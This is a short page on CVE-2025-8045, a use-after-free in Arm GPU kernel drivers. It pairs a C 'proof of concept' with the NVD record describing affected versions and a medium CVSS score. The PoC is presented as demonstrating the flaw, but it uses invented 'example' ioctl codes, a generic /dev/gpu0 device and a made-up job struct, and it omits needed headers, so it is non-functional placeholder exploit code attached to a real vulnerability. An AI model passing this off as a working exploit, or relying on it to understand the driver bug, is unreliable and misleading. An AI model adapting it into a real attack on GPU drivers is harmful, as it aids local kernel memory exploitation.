CVE-2025-8045

// CVE-2025-8045 PoC - Arm GPU Use After Free // This PoC demonstrates the vulnerability concept #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // GPU ioctl command definitions (example) #define GPU_IOCTL_SUBMIT_JOB 0xAA01 #define GPU_IOCTL_GET_INFO 0xAA02 struct gpu_submit_job { unsigned long job_handle; unsigned int flags; unsigned long user_data; }; int main() { int fd; struct gpu_submit_job job; // Open GPU device fd = open("/dev/gpu0", O_RDWR); if (fd < 0) { perror("Failed to open GPU device"); return -1; } // Step 1: Submit initial GPU job that allocates buffer memset(&job, 0, sizeof(job)); job.flags = 0x01; job.user_data = (unsigned long)malloc(0x1000); if (ioctl(fd, GPU_IOCTL_SUBMIT_JOB, &job) < 0) { perror("Job submission failed"); close(fd); return -1; } // Step 2: Trigger buffer release through cleanup operation // This creates the UAF window job.flags = 0x00; // Cleanup flag ioctl(fd, GPU_IOCTL_SUBMIT_JOB, &job); // Step 3: Immediately submit new job to access freed memory // The freed buffer may still be referenced by pending GPU operation job.flags = 0x02; // New operation job.user_data = (unsigned long)malloc(0x1000); // This may access the already freed memory ioctl(fd, GPU_IOCTL_SUBMIT_JOB, &job); close(fd); return 0; }

{"cve": {"id": "CVE-2025-8045", "sourceIdentifier": "[email protected]", "published": "2025-12-01T11:15:48.957", "lastModified": "2025-12-02T14:44:08.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use After Free vulnerability in Arm Ltd Valhall GPU Kernel Driver, Arm Ltd Arm 5th Gen GPU Architecture Kernel Driver allows a local non-privileged user process to perform improper GPU processing operations to gain access to already freed memory.This issue affects Valhall GPU Kernel Driver: from r53p0 through r54p1; Arm 5th Gen GPU Architecture Kernel Driver: from r53p0 through r54p1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arm:5th_gen_gpu_architecture_kernel_driver:*:*:*:*:*:*:*:*", "versionStartIncluding": "r53p0", "versionEndExcluding": "r54p2", "matchCriteriaId": "AE0AA27E-761F-4C91-AA08-31D69650C0EF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:*", "versionStartIncluding": "r53p0", "versionEndExcluding": "r54p2", "matchCriteriaId": "6AF0D8A4-4D26-4AB5-987D-BE23979E74D3"}]}]}], "references": [{"url": "https://developer.arm.com/documentation/110697/latest/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}